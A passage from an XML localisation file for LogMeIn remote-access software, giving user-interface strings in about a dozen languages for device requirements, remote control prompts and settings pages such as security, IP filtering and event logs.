<en>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en>
<es>Es necesario un Windows Pocket PC 2003 o un dispositivo superior con un procesador ARM.</es>
<fr>Un appareil Windows PocketPC 2003 avec un processeur ARM est nécessaire.</fr>
<de>Es ist ein Windows Pocket PC 2003 oder ein neueres Gerät mit einem ARM-Prozessor erforderlich.</de>
<it>È necessario Windows Pocket PC 2003 o un dispositivo più recente con processore ARM.</it>
<ru>Требуется Windows Pocket PC 2003 или более новое устройство с процессором ARM.</ru>
<ja>ARM プロセッサを装備した Windows Pocket PC 2003 またはそれより新しいデバイスが必要です。</ja>
<zh>需要 Windows Pocket PC 2003 或带有 ARM 处理器的更新设备。</zh>
<ko>Windows Pocket PC 2003 또는 ARM 프로세서가 설치된 최신 장치가 필요합니다.</ko>
<en-gb>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en-gb>
<hu>Windows Pocket PC 2003 vagy ennél újabb , ARM processzorral rendelkező eszközre van szükség.</hu>
<pt-br>Um dispositivo Windows Pocket PC 2003 ou mais recente com processador ARM é necessário.</pt-br>
<nl>Hiervoor is een Windows Pocket PC 2003 of nieuwer apparaat met een ARM-processor vereist.</nl>
</msg>
<msg os="macosx" name="DOWN3">
<en>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en>
<es>Es necesario un Windows Pocket PC 2003 o un dispositivo superior con un procesador ARM.</es>
<fr>Un appareil Windows PocketPC 2003 avec un processeur ARM est nécessaire.</fr>
<de>Es ist ein Windows Pocket PC 2003 oder ein neueres Gerät mit einem ARM-Prozessor erforderlich.</de>
<it>È necessario Windows Pocket PC 2003 o un dispositivo più recente con processore ARM.</it>
<ru>Требуется Windows Pocket PC 2003 или более новое устройство с процессором ARM.</ru>
<ja>ARM プロセッサを装備した Windows Pocket PC 2003 またはそれより新しいデバイスが必要です。</ja>
<zh>需要 Windows Pocket PC 2003 或带有 ARM 处理器的更新设备。</zh>
<ko>Windows Pocket PC 2003 또는 ARM 프로세서가 설치된 최신 장치가 필요합니다.</ko>
<en-gb>A Windows Pocket PC 2003 or newer device with an ARM processor is required.</en-gb>
<hu>Windows Pocket PC 2003 vagy ennél újabb , ARM processzorral rendelkező eszközre van szükség.</hu>
<pt-br>Um dispositivo Windows Pocket PC 2003 ou mais recente com processador ARM é necessário.</pt-br>
<nl>Hiervoor is een Windows Pocket PC 2003 of nieuwer apparaat met een ARM-processor vereist.</nl>
</msg>
<msg name="DOWNCONTINUE">
<en>Click here to start Remote Control after the download and installation process has finished.</en>
<de>Klicken Sie hier, um die Fernsteuerung nach dem Download und der Installation zu starten.</de>
<es>Haga clic aquí para iniciar Control Remoto después de que haya finalizado el proceso de descarga e instalación.</es>
<fr>Cliquez ici pour démarrer le Contrôle à Distance après que le processus de téléchargement et d'installation soit terminé.</fr>
<it>Fare clic qui per avviare Controllo remoto al termine del processo di download e di installazione.</it>
<ru>Щелкните здесь, чтобы запустить консоль удаленного управления после завершения процесса загрузки и установки.</ru>
<ja>ダウンロードおよびインストール プロセスの終了後にリモート制御を開始するには、ここをクリックします。</ja>
<zh>下载和安装进程完成后,单击此处以启动远程控制。</zh>
<ko>다운로드 및 설치 프로세스가 끝난 후 원격 제어를 시작하려면 여기를 클릭하십시오.</ko>
<en-gb>Click here to start Remote Control after the download and installation process has finished.</en-gb>
<hu>Kattintson ide a Távvezérlő elindításához, ha a letöltés és a telepítés befejeződött.</hu>
<pt-br>Clique aqui para iniciar o Remote Control depois da conclusão dos processos de download e instalação.</pt-br>
<nl>Klik hier om "Besturing op afstand" te starten nadat het downloadproces en de installatieprocedure zijn voltooid.</nl>
</msg>
</cat>
</cat>
<cat name="CONFIG">
<!-- LMI (Toolkit) specific messages -->
<cat name="TOOLKIT">
<cat name="COMMON">
<msg name="PREFS_DISABLED_TOOLTIP">
<en>Your LogMeIn administrator may have restricted your access to this feature.</en>
<de>Unter Umständen hat Ihr LogMeIn-Administrator den Zugriff auf diese Funktion eingeschränkt.</de>
<es>Es posible que el administrador de LogMeIn haya restringido su acceso a esta función.</es>
<fr>Votre administrateur LogMeIn a peut-être restreint l'accès à cette fonction.</fr>
<it>L'amministratore LogMeIn potrebbe aver limitato il tuo accesso a questa funzione.</it>
<ru>Возможно, ваш администратор LogMeIn ограничил вам доступ к этой функции.</ru>
<ja>LogMeIn 管理者がこの機能へのアクセスを制限している可能性があります。</ja>
<zh>您的 LogMeIn 管理员可能已限制您访问此功能。</zh>
<ko>LogMeIn 관리자가 이 기능에 대한 액세스를 제한했을 수 있습니다.</ko>
<en-gb>Your LogMeIn administrator may have restricted your access to this feature.</en-gb>
<hu>Lehet, hogy az Ön LogMeIn rendszergazdája korlátozta a funkció használatát.</hu>
<pt-br>Seu administrador do LogMeIn pode ter restringido seu acesso a este recurso.</pt-br>
<nl>Uw LogMeIn-beheerder heeft uw toegang tot deze functie mogelijk beperkt.</nl>
</msg>
</cat>
<cat name="GENERAL">
<msg name="TITLE">
<en>General</en>
<de>Allgemein</de>
<es>General</es>
<fr>Généralités</fr>
<it>Generale</it>
<ru>Общие</ru>
<ja>全般</ja>
<zh>常规</zh>
<ko>일반</ko>
<en-gb>General</en-gb>
<hu>Általános</hu>
<pt-br>Geral</pt-br>
<nl>Algemeen</nl>
</msg>
<msg name="TITLEDESC">
<en>Configure remote control settings and how %PRODUCTNAME is shown on the host computer.</en>
<es>Configure los parámetros de control remoto y cómo %PRODUCTNAME aparece en el ordenador host.</es>
<de>Hier können Sie Fernsteuerungseinstellungen sowie die Darstellung von  %PRODUCTNAME auf dem Hostcomputer konfigurieren.</de>
<fr>Configurer les réglages de contrôle à distance et la manière dont %PRODUCTNAME est affiché sur l'ordinateur hôte.</fr>
<it>Configura le impostazioni del controllo remoto e il modo in cui %PRODUCTNAME viene visualizzato nel computer host.</it>
<ru>Настройка параметров удаленного управления и способа отображения %PRODUCTNAME на хост-компьютере.</ru>
<ja>リモート制御設定、および %PRODUCTNAME がホスト コンピュータに表示される方法を設定します。</ja>
<zh>配置远程控制设置和 %PRODUCTNAME 在主机上的显示方式。</zh>
<ko>원격 제어 설정 및 %PRODUCTNAME이(가) 호스트 컴퓨터에 어떻게 표시되는지 구성하십시오.</ko>
<hu>A távvezérlési beállításoknak és a %PRODUCTNAME gazdagépen történő megjelenítésének konfigurálása.</hu>
<pt-br>Defina as configurações de controle remoto e como o %PRODUCTNAME será mostrado no computador host.</pt-br>
<nl>Configureer de instellingen voor besturing op afstand en de weergave van %PRODUCTNAME op de hostcomputer.</nl>
<en-gb>Configure remote control settings and how %PRODUCTNAME is shown on the host computer.</en-gb>
</msg>
<msg name="PERFORMANCE">
<en>Performance</en>
<es>Rendimiento</es>
<de>Leistung</de>
<fr>Performances</fr>
<it>Prestazioni</it>
<ru>Производительность</ru>
<ja>パフォーマンス</ja>
<zh>性能</zh>
<ko>성능</ko>
<en-gb>Performance</en-gb>
<hu>Teljesítmény</hu>
<pt-br>Desempenho</pt-br>
<nl>Prestaties</nl>
</msg>
<msg name="INTERACTION">
<en>Interaction</en>
<es>Interacción</es>
<de>Interaktion</de>
<fr>Interaction</fr>
<it>Interazione</it>
<ru>Взаимодействие</ru>
<ja>対話</ja>
<zh>交互操作</zh>
<ko>대화</ko>
<en-gb>Interaction</en-gb>
<hu>Interakció</hu>
<pt-br>Interação</pt-br>
<nl>Interactie</nl>
</msg>
<msg name="CONSENT">
<en>Host side user's consent</en>
<es>Consentimiento del usuario del lado host</es>
<de>Zustimmung des hostseitigen Benutzers</de>
<fr>Accord de l'utilisateur côté hôte</fr>
<it>Consenso dell'utente dal lato host</it>
<ru>Согласие пользователя со стороны хоста</ru>
<ja>ホスト側ユーザの同意</ja>
<zh>主机端用户同意</zh>
<ko>호스트 측 사용자의 동의</ko>
<en-gb>Host side user's consent</en-gb>
<hu>Gazdagép oldali felhasználói hozzájárulás</hu>
<pt-br>Consentimento do usuário do lado do host</pt-br>
<nl>Toestemming van gebruiker aan de kant van de host</nl>
</msg>
<msg name="LOCKCOMPUTER">
<en>Locking the host computer</en>
<es>Bloqueo del ordenador host</es>
<de>Sperren des Hostcomputers</de>
<fr>Verrouillage de l'ordinateur hôte</fr>
<it>Blocco del computer host</it>
<ru>Блокировка хост-компьютера</ru>
<ja>ホスト コンピュータのロック</ja>
<zh>锁定主机</zh>
<ko>호스트 컴퓨터 잠그기</ko>
<en-gb>Locking the host computer</en-gb>
<hu>Gazdagép zárolása</hu>
<pt-br>Bloqueando o computador host</pt-br>
<nl>De hostcomputer wordt geblokkeerd</nl>
</msg>
<msg name="SHOWWELCOME">
<en>Show Welcome screen</en>
<es>Mostrar la pantalla de Bienvenida</es>
<de>Willkommensseite anzeigen</de>
<fr>Afficher l'écran de bienvenue</fr>
<it>Mostra la schermata di benvenuto</it>
<ru>Отображать экран приветствия</ru>
<ja>[ようこそ] 画面を表示</ja>
<zh>显示欢迎屏幕</zh>
<ko>시작 화면 보기</ko>
<hu>Üdvözlő képernyő megjelenítése</hu>
<pt-br>Mostrar tela de boas-vindas</pt-br>
<nl>Welkomstscherm weergeven</nl>
<en-gb>Show Welcome screen</en-gb>
</msg>
<msg name="LANG.NOTE">
<en>Sets the language of both the %PRODUCTNAME application on the host computer and all remote access services.</en>
<es>Establece el idioma de la aplicación %PRODUCTNAME en el ordenador host y en todos los servicios de acceso remoto.</es>
<de>Legt die Sprache der  %PRODUCTNAME-Anwendung auf dem Hostcomputer sowie aller Fernzugriffsdienste fest.</de>
<fr>Configure la langue de l'application %PRODUCTNAME sur l'ordinateur hôte ainsi que de tous les services d'accès à distance.</fr>
<it>Imposta la lingua dell'applicazione %PRODUCTNAME nel computer host e di tutti i servizi di accesso remoto.</it>
<ru>Установка языка для приложения %PRODUCTNAME на удаленном компьютере, а также для всех служб удаленного доступа.</ru>
<ja>ホスト コンピュータの %PRODUCTNAME アプリケーションおよびすべてのリモート アクセス サービスの言語を設定します。</ja>
<zh>设置主机和所有远程访问服务中的 %PRODUCTNAME 应用程序的语言。</zh>
<ko>호스트 컴퓨터의 %PRODUCTNAME 응용 프로그램 및 모든 원격 액세스 서비스의 언어를 설정합니다.</ko>
<hu>Ezzel beállítható a gazdagépen futó %PRODUCTNAME alkalmazás és minden távoli elérésű szolgáltatás nyelve.</hu>
<pt-br>Define o idioma do aplicativo %PRODUCTNAME no computador host e de todos os serviços de acesso remoto.</pt-br>
<nl>Hiermee worden de taal van zowel de %PRODUCTNAME-toepassing op de hostcomputer en alle services voor externe toegang ingesteld.</nl>
<en-gb>Sets the language of both the %PRODUCTNAME application on the host computer and all remote access services.</en-gb>
</msg>
</cat>
<cat name="SECURITY">
<msg name="RSASUBTITLE">
<en>RSA SecurID is installed on the host computer.</en>
<de>RSA SecurID ist auf dem Hostcomputer installiert.</de>
<es>RSA SecurID está instalado su ordenador host.</es>
<fr>RSA SecurID est installé sur l'ordinateur hôte.</fr>
<it>RSA SecurID è installato nel computer host.</it>
<ru>На компьютер установлен RSA SecurID.</ru>
<ja>RSA SecurID はホスト コンピュータにインストールされています。</ja>
<zh>RSA SecurID 已安装在主机上。</zh>
<ko>RSA SecurID이(가) 호스트 컴퓨터에 설치됩니다.</ko>
<en-gb>RSA SecurID is installed on the host computer.</en-gb>
<hu>Az RSA SecurID telepítve van a gazdagépen.</hu>
<pt-br>O RSA SecurID está instalado no computador host.</pt-br>
<nl>RSA SecurID is op de hostcomputer geïnstalleerd.</nl>
</msg>
<msg name="CONFIGRSA">
<en>Configure RSA SecurID</en>
<de>RSA SecurID konfigurieren</de>
<es>Configurar RSA SecurID</es>
<fr>Configurer RSA SecurID</fr>
<it>Configura RSA SecurID</it>
<ru>Настройка RSA SecurID</ru>
<ja>RSA SecurID の設定</ja>
<zh>配置 RSA SecurID</zh>
<ko>RSA SecurID 구성</ko>
<en-gb>Configure RSA SecurID</en-gb>
<hu>Adja meg az RSA SecurID konfigurációs beállításait.</hu>
<pt-br>Configure o RSA SecurID</pt-br>
<nl>Configureer RSA SecurID</nl>
</msg>
<msg name="TITLE">
<en>Security</en>
<de>Sicherheit</de>
<es>Seguridad</es>
<fr>Sécurité</fr>
<it>Protezione</it>
<ru>Безопасность</ru>
<ja>セキュリティ</ja>
<zh>安全</zh>
<ko>보안</ko>
<en-gb>Security</en-gb>
<hu>Biztonság</hu>
<pt-br>Segurança</pt-br>
<nl>Beveiliging</nl>
</msg>
<msg name="TITLEDESC">
<en>Create or modify a personal password. Setup user access and view IP filters.</en>
<es>Crear o modificar una contraseña personal. Configurar el acceso del usuario y visualizar los filtros IP.</es>
<de>Erstellen oder ändern Sie ein persönliches Passwort. Richten Sie den Benutzerzugriff ein und arbeiten Sie mit IP-Filtern.</de>
<fr>Créer ou modifier un mot de passe personnel. Configurer l'accès utilisateur et afficher les filtres IP.</fr>
<it>Crea o modifica una password personale. Imposta l'accesso utenti e visualizza i filtri IP.</it>
<ru>Создание или изменение персонального пароля. Настройка доступа пользователей и просмотр фильтров IP-адресов.</ru>
<ja>個人用パスワードを作成または変更します。 ユーザ アクセスを設定し、IP フィルタを表示します。</ja>
<zh>创建或修改个人密码。 设置用户访问权并查看 IP 过滤器。</zh>
<ko>개인 암호를 생성 또는 수정하십시오. 사용자 액세스를 설정하고 IP 필터를 보십시오.</ko>
<hu>Személyes jelszó létrehozása vagy módosítása. Felhasználói hozzáférés beállítása és IP-szűrők megtekintése.</hu>
<pt-br>Crie ou modifique uma senha pessoal. Configure o acesso do usuário e exiba os filtros de IP.</pt-br>
<nl>Een persoonlijk wachtwoord opgeven of wijzigen. Gebruikerstoegang instellen en IP-filters bekijken.</nl>
<en-gb>Create or modify a personal password. Setup user access and view IP filters.</en-gb>
</msg>
<msg name="INTCTRL">
<en>Intrusion Control</en>
<es>Control de intrusiones</es>
<de>Kontrolle von Eindringversuchen</de>
<fr>Gestion des intrusions</fr>
<it>Controllo intrusioni</it>
<ru>Контроль вторжения</ru>
<ja>侵入制御</ja>
<zh>入侵控制</zh>
<ko>침입 제어</ko>
<hu>Behatolásvédelem vezérlése</hu>
<pt-br>Controle de intrusão</pt-br>
<nl>Controle indringing</nl>
<en-gb>Intrusion Control</en-gb>
</msg>
<msg name="ACCESSCTRL">
<en>User Access Control</en>
<es>Control de acceso del usuario</es>
<de>Benutzerzugriffssteuerung</de>
<fr>Gestion des accès utilisateur</fr>
<it>Controllo accesso utenti</it>
<ru>Контроль доступа пользователей</ru>
<ja>ユーザ アクセス制御</ja>
<zh>用户访问控制</zh>
<ko>사용자 액세스 제어</ko>
<hu>Felhasználói hozzáférés vezérlése</hu>
<pt-br>Controle de acesso do usuário</pt-br>
<nl>Controle gebruikerstoegang</nl>
<en-gb>User Access Control</en-gb>
</msg>
<msg name="IPFILTER">
<en>IP Address Filtering</en>
<es>Filtrado de dirección IP</es>
<de>IP-Adressenfilterung</de>
<fr>Filtrage des adresses IP</fr>
<it>Filtro indirizzi IP</it>
<ru>Фильтрация IP-адресов</ru>
<ja>IP アドレス フィルタリング</ja>
<zh>IP 地址过滤</zh>
<ko>IP 주소 필터링</ko>
<hu>IP-cím szűrése</hu>
<pt-br>Filtragem de endereço IP</pt-br>
<nl>IP-adressen filteren</nl>
<en-gb>IP Address Filtering</en-gb>
</msg>
<msg name="USEFILTER">
<en>Use IP filter profile</en>
<es>Utilizar perfil de filtro IP</es>
<de>IP-Filterprofil verwenden</de>
<fr>Utiliser un profil de filtrage IP</fr>
<it>Usa profilo filtro IP</it>
<ru>Использовать профиль IP-адресов</ru>
<ja>IP フィルタ プロファイルの使用</ja>
<zh>使用 IP 过滤器配置文件</zh>
<ko>IP 필터 프로필 사용</ko>
<hu>IP-szűrőprofil használata</hu>
<pt-br>Usar perfil de filtro de IP</pt-br>
<nl>IP-filterprofiel gebruiken</nl>
<en-gb>Use IP filter profile</en-gb>
</msg>
<msg name="EDITFILTER">
<en>Edit Profiles</en>
<es>Editar perfiles</es>
<de>Profile bearbeiten</de>
<fr>Modifier les profils</fr>
<it>Modifica profili</it>
<ru>Изменить профили</ru>
<ja>プロファイルの編集</ja>
<zh>编辑配置文件</zh>
<ko>프로필 편집</ko>
<hu>Profilok szerkesztése</hu>
<pt-br>Editar perfis</pt-br>
<nl>Profielen bewerken</nl>
<en-gb>Edit Profiles</en-gb>
</msg>
<msg name="NOFILTER">
<en>No IP filtering</en>
<es>Sin filtración de IP</es>
<de>Keine IP-Filterung</de>
<fr>Pas de filtrage IP</fr>
<it>Nessun filtro IP</it>
<ru>Без фильтрации IP-адресов</ru>
<ja>IP フィルタリングなし</ja>
<zh>无 IP 过滤</zh>
<ko>IP 필터링 없음</ko>
<hu>Nincs IP-szűrés</hu>
<pt-br>Sem filtragem de IP</pt-br>
<nl>Geen IP-adressen filteren</nl>
<en-gb>No IP filtering</en-gb>
</msg>
<msg name="DOSBLOCKER">
<en>Denial of Service attack blocker</en>
<es>Denegación del bloqueador de ataques de servicio</es>
<de>Abwehr von Denial-of-Service-Angriffen</de>
<fr>Bloqueur d'attaques de déni de service</fr>
<it>Protezione dagli attacchi Denial of Service</it>
<ru>Блокировка атак типа «отказ в обслуживании»</ru>
<ja>DoS (Denial of Service) 攻撃ブロッカー</ja>
<zh>“拒绝服务”攻击阻止程序</zh>
<ko>서비스 공격 차단기 거부</ko>
<hu>Szolgáltatásmegtagadással járó támadás (DoS) blokkolása</hu>
<pt-br>Bloqueador de ataque de negação de serviço</pt-br>
<nl>Blokkering denial-of-service-aanval</nl>
<en-gb>Denial of Service attack blocker</en-gb>
</msg>
<msg name="IPBLOCKED">
<en>IP addresses blocked</en>
<es>Direcciones de IP bloqueadas</es>
<de>Gesperrte IP-Adressen</de>
<fr>Adresses IP bloquées</fr>
<it>Indirizzi IP bloccati</it>
<ru>Заблокированные IP-адреса</ru>
<ja>ブロックされた IP アドレス</ja>
<zh>已阻止的 IP 地址</zh>
<ko>차단된 IP 주소</ko>
<hu>Letiltott IP-címek</hu>
<pt-br>Endereços IP bloqueados</pt-br>
<nl>IP-adressen geblokkeerd</nl>
<en-gb>IP addresses blocked</en-gb>
</msg>
<msg name="UNBLOCKALL">
<en>Unblock all</en>
<es>Desbloquear todo</es>
<de>Alle Sperren aufheben</de>
<fr>Tout débloquer</fr>
<it>Sblocca tutti</it>
<ru>Разблокировать все</ru>
<ja>すべてのブロックを解除</ja>
<zh>全部解除阻止</zh>
<ko>모두 해제</ko>
<hu>Összes letiltás feloldása</hu>
<pt-br>Desbloquear tudo</pt-br>
<nl>Alles deblokkeren</nl>
<en-gb>Unblock all</en-gb>
</msg>
<msg name="AABLOCKER">
<en>Authentication attack blocker</en>
<es>Bloqueador de ataques de autenticaciones</es>
<de>Abwehr von Authentifizierungsangriffen</de>
<fr>Bloqueur d'attaque d'authentification</fr>
<it>Protezione dagli attacchi di autenticazione</it>
<ru>Блокировка атак на проверку подлинности</ru>
<ja>認証攻撃ブロッカー</ja>
<zh>“身份验证”攻击阻止程序</zh>
<ko>공격 차단기 인증</ko>
<hu>Hitelesítési támadás megakadályozása</hu>
<pt-br>Bloqueador de ataque de autenticação</pt-br>
<nl>Blokkering verificatieaanvallen</nl>
<en-gb>Authentication attack blocker</en-gb>
</msg>
<msg name="USERPERM">
<en>User-specific permissions</en>
<es>Permisos específicos de usuarios</es>
<de>Benutzerspezifische Berechtigungen</de>
<fr>Autorisations utilisateur</fr>
<it>Autorizzazioni specifiche degli utenti</it>
<ru>Разрешения для пользователей</ru>
<ja>ユーザ固有の権限</ja>
<zh>用户特定权限</zh>
<ko>사용자 고유 권한</ko>
<hu>Felhasználóspecifikus engedélyek</hu>
<pt-br>Permissões específicas ao usuário</pt-br>
<nl>Specifieke toegangsrechten </nl>
<en-gb>User-specific permissions</en-gb>
</msg>
<msg name="DELETEALL">
<en>Delete all</en>
<es>Eliminar todos</es>
<de>Alle löschen</de>
<fr>Supprimer tout</fr>
<it>Elimina tutto</it>
<ru>Удалить все</ru>
<ja>すべて削除</ja>
<zh>全部删除</zh>
<ko>모두 삭제</ko>
<hu>Összes törlése</hu>
<pt-br>Excluir tudo</pt-br>
<nl>Alles verwijderen</nl>
<en-gb>Delete all</en-gb>
</msg>
<msg name="EDITSELUSER">
<en>Edit Selected User</en>
<es>Editar usuario seleccionado</es>
<de>Ausgewählten Benutzer bearbeiten</de>
<fr>Modifier l'utilisateur sélectionné</fr>
<it>Modifica utente selezionato</it>
<ru>Изменить выбранного пользователя</ru>
<ja>選択したユーザの編集</ja>
<zh>编辑所选用户</zh>
<ko>선택한 사용자 편집</ko>
<hu>Kiválasztott felhasználó szerkesztése</hu>
<pt-br>Editar usuário selecionado</pt-br>
<nl>Geselecteerde gebruiker bewerken</nl>
<en-gb>Edit Selected User</en-gb>
</msg>
<msg name="UNKNOWNUSER">
<en>Unknown user.</en>
<es>Usuario desconocido.</es>
<de>Unbekannter Benutzer.</de>
<fr>Utilisateur inconnu.</fr>
<it>Utente sconosciuto.</it>
<ru>Неизвестный пользователь.</ru>
<ja>不明なユーザです。</ja>
<zh>不明用户。</zh>
<ko>알 수 없는 사용자입니다.</ko>
<en-gb>Unknown user.</en-gb>
<hu>Ismeretlen felhasználó.</hu>
<pt-br>Usuário desconhecido.</pt-br>
<nl>Onbekende gebruiker.</nl>
</msg>
<msg name="CHOOSEDOMAIN">
<en>Choose domain</en>
<es>Seleccionar dominio</es>
<de>Domain auswählen</de>
<fr>Choisir un domaine</fr>
<it>Scegli il dominio</it>
<ru>Выбор домена</ru>
<ja>ドメインの選択</ja>
<zh>选择域</zh>
<ko>도메인 선택</ko>
<hu>Tartomány kiválasztása</hu>
<pt-br>Escolher domínio</pt-br>
<nl>Domein kiezen</nl>
<en-gb>Choose domain</en-gb>
</msg>
<msg name="USERSINDOMAIN">
<en>Users in domain $1</en>
<es>Usuarios del dominio $1</es>
<de>Benutzer in Domain $1</de>
<fr>Utilisateurs du domaine $1</fr>
<it>Utenti nel dominio $1</it>
<ru>Пользователи в домене $1</ru>
<ja>ドメイン $1 のユーザ</ja>
<zh>$1 域中的用户</zh>
<ko>$1 도메인 사용자</ko>
<hu>Felhasználók a $1 tartományban</hu>
<pt-br>Usuários no domínio $1</pt-br>
<nl>Gebruikers in domein $1</nl>
<en-gb>Users in domain $1</en-gb>
</msg>
<msg name="MASTERSETTINGS">
<en>Master settings</en>
<es>Configuración maestra</es>
<de>Mastereinstellungen</de>
<fr>Réglages principaux</fr>
<it>Impostazioni generali</it>
<ru>Главные настройки</ru>
<ja>マスタ設定</ja>
<zh>主设置</zh>
<ko>마스터 설정</ko>
<hu>Főbeállítások</hu>
<pt-br>Configurações principais</pt-br>
<nl>Hoofdinstellingen</nl>
<en-gb>Master settings</en-gb>
</msg>
<msg name="COMPACTVIEWONLY">
<en>Compact view only</en>
<es>Solo vista compacta</es>
<de>Nur einfache Ansicht</de>
<fr>Affichage compact seulement</fr>
<it>Solo visualizzazione minima</it>
<ru>Только компактный вид</ru>
<ja>コンパクト ビューのみ</ja>
<zh>仅限紧凑视图</zh>
<ko>컴팩트 보기 전용</ko>
<hu>Csak csökkentett nézet</hu>
<pt-br>Somente exibição compacta</pt-br>
<nl>Alleen compacte weergave</nl>
<en-gb>Compact view only</en-gb>
</msg>
<msg name="DOMAINS">
<en>Domains</en>
<es>Dominios</es>
<de>Domänen</de>
<fr>Domaines</fr>
<it>Domini</it>
<ru>Домены</ru>
<ja>ドメイン</ja>
<zh>域</zh>
<ko>도메인</ko>
<hu>Tartományok</hu>
<pt-br>Domínios</pt-br>
<nl>Domeinen</nl>
<en-gb>Domains</en-gb>
</msg>
<msg name="LISTDOMAINUSERS">
<en>List users of selected domain</en>
<es>Crear lista de usuarios del dominio seleccionado</es>
<de>Benutzer der gewählten Domäne auflisten</de>
<fr>Afficher les utilisateurs du domaine sélectionné</fr>
<it>Elenca utenti del dominio selezionato</it>
<ru>Перечислить пользователей выбранного домена</ru>
<ja>選択したドメインのユーザの一覧表示</ja>
<zh>列出所选域的用户</zh>
<ko>선택한 도메인 사용자 열거</ko>
<hu>A kiválasztott tartomány felhasználóinak listázása</hu>
<pt-br>Listar usuários do domínio selecionado</pt-br>
<nl>Lijst met gebruikers van geselecteerd domein</nl>
<en-gb>List users of selected domain</en-gb>
</msg>
<msg name="EDITSELPROFILE">
<en>Edit Selected Profile</en>
<es>Editar perfil seleccionado</es>
<de>Ausgewähltes Profil bearbeiten</de>
<fr>Modifier le profil sélectionné</fr>
<it>Modifica profilo selezionato</it>
<ru>Изменить выбранный профиль</ru>
<ja>選択したプロファイルの編集</ja>
<zh>编辑所选配置文件</zh>
<ko>선택한 프로필 편집</ko>
<hu>Kiválasztott profil szerkesztése</hu>
<pt-br>Editar perfil selecionado</pt-br>
<nl>Geselecteerd profiel bewerken</nl>
<en-gb>Edit Selected Profile</en-gb>
</msg>
</cat>
<cat name="ADVANCED">
<msg name="TITLE">
<en>Advanced</en>
<de>Erweitert</de>
<es>Avanzado</es>
<fr>Avancé</fr>
<it>Avanzate</it>
<ru>Дополнительно</ru>
<ja>詳細</ja>
<ko>고급</ko>
<hu>Speciális</hu>
<pt-br>Avançado</pt-br>
<zh>高级</zh>
<nl>Geavanceerd</nl>
</msg>
<msg name="TITLEDESC">
<en>Edit network and log settings. Control how %PRODUCTNAME is updated.</en>
<es>Editar parámetros de red y de acceso. Controlar la actualización de %PRODUCTNAME.</es>
<de>Bearbeiten Sie Netzwerk- und Protokolleinstellungen. Legen Sie fest, wie  %PRODUCTNAME aktualisiert wird.</de>
<fr>Modifier les réglages de journal et réseau. Gérer la manière dont %PRODUCTNAME est mis à jour.</fr>
<it>Modifica le impostazioni di rete e di registro. Controlla la modalità di aggiornamento di %PRODUCTNAME.</it>
<ru>Изменить параметры сети и журнала. Управление способом обновления %PRODUCTNAME.</ru>
<ja>ネットワークとログの設定を編集します。 %PRODUCTNAME の更新方法を制御します。</ja>
<zh>编辑网络和日志设置。 控制 %PRODUCTNAME 的更新方式。</zh>
<ko>네트워크 및 로그 설정을 편집합니다. %PRODUCTNAME의 업데이트를 제어합니다.</ko>
<hu>Hálózati és naplózási beállítások szerkesztése. A %PRODUCTNAME frissítési módjának vezérlése.</hu>
<pt-br>Editar configurações de rede e de log. Controle como o %PRODUCTNAME é atualizado.</pt-br>
<nl>Netwerk- en logboekinstellingen bewerken. Instellen hoe %PRODUCTNAME wordt geüpdatet.</nl>
<en-gb>Edit network and log settings. Control how %PRODUCTNAME is updated.</en-gb>
</msg>
<msg name="SCREENREC">
<en>Screen Recording</en>
<es>Grabación de pantalla</es>
<de>Bildschirmaufnahme</de>
<fr>Enregistrement d'écran</fr>
<it>Registrazione delle schermate</it>
<ru>Запись экранов</ru>
<ja>画面記録</ja>
<zh>屏幕记录</zh>
<ko>화면 기록</ko>
<en-gb>Screen Recording</en-gb>
<hu>Képernyő rögzítése</hu>
<pt-br>Gravação de tela</pt-br>
<nl>Schermopname</nl>
</msg>
<msg name="SWUPDATES">
<en>Software Updates</en>
<ja>ソフトウェアの更新</ja>
<es>Actualizaciones de software</es>
<de>Softwareaktualisierung</de>
<fr>Mises à jour logicielles</fr>
<it>Aggiornamenti software</it>
<ru>Обновления программного обеспечения</ru>
<zh>软件更新</zh>
<ko>소프트웨어 업데이트</ko>
<en-gb>Software Updates</en-gb>
<hu>Szoftverfrissítések</hu>
<pt-br>Atualizações de software</pt-br>
<nl>Software-updates</nl>
</msg>
<msg name="EVENTLOGS">
<en>Event Logs</en>
<es>Registros de sucesos</es>
<de>Ereignisprotokolle</de>
<fr>Journaux d'événements</fr>
<it>Registri eventi</it>
<ru>Журналы событий</ru>
<ja>イベント ログ</ja>
<zh>事件日志</zh>
<ko>이벤트 로그</ko>
<hu>Eseménynaplók</hu>
<pt-br>Logs do evento</pt-br>
<nl>Gebeurtenislogboeken</nl>
<en-gb>Event Logs</en-gb>
</msg>
<msg name="VIEWFILES">
<en>View files</en>
<es>Ver archivos</es>
<de>Dateien anzeigen</de>
<fr>Afficher les fichiers</fr>
<it>Visualizza file</it>
<ru>Просмотр файлов</ru>
<ja>ファイルを表示する</ja>
<zh>查看文件</zh>
<ko>파일 보기</ko>
<en-gb>View files</en-gb>
<hu>Fájlok megtekintése</hu>
<pt-br>Exibir arquivos</pt-br>
<nl>Bestanden bekijken</nl>
</msg>
<msg name="VIEWREBOOT">
<en>View Reboot Options</en>
<de>Neustartoptionen anzeigen</de>
<es>Ver Opciones de reinicio</es>
<fr>Afficher les options de redémarrage</fr>
<it>Visualizza opzioni riavvio</it>
<ru>Просмотр параметров перезагрузки</ru>
<ja>再起動オプションの表示</ja>
<zh>查看重新引导选项</zh>
<ko>재부팅 옵션 보기</ko>
<en-gb>View Reboot Options</en-gb>
<hu>Újraindítási lehetőségek megtekintése</hu>
<pt-br>Exibir opções de reinicialização</pt-br>
<nl>Zie opties voor opnieuw opstarten</nl>
</msg>
<msg name="ConvertRCREC">
<en>Convert RCREC files to AVI...</en>
<es>Convertir archivos RCREC a AVI...</es>
<de>RCREC-Dateien in AVI konvertieren...</de>
<fr>Convertir les fichiers RCREC en AVI...</fr>
<it>Converti file RCREC in AVI...</it>
<ru>Преобразование файлов RCREC в AVI...</ru>
<ja>RCREC ファイルを AVI に変換する...</ja>
<zh>将 RCREC 文件转换成 AVI...</zh>
<ko>RCREC 파일을 AVI 파일로 변환...</ko>
<en-gb>Convert RCREC files to AVI...</en-gb>
<hu>RCREC fájlok konvertálása AVI-ba...</hu>
<pt-br>Converter arquivos RCREC em AVI...</pt-br>
<nl>RCREC-bestanden converteren naar AVI...</nl>
</msg>
</cat>
</cat>
<msg name="NEEDRESTART">
<en>You must restart the %PRODUCTNAME service before the changes take effect.</en>
<de>Anmerkung: Sie müssen %PRODUCTNAME neu starten, bevor die Änderungen wirksam werden.</de>
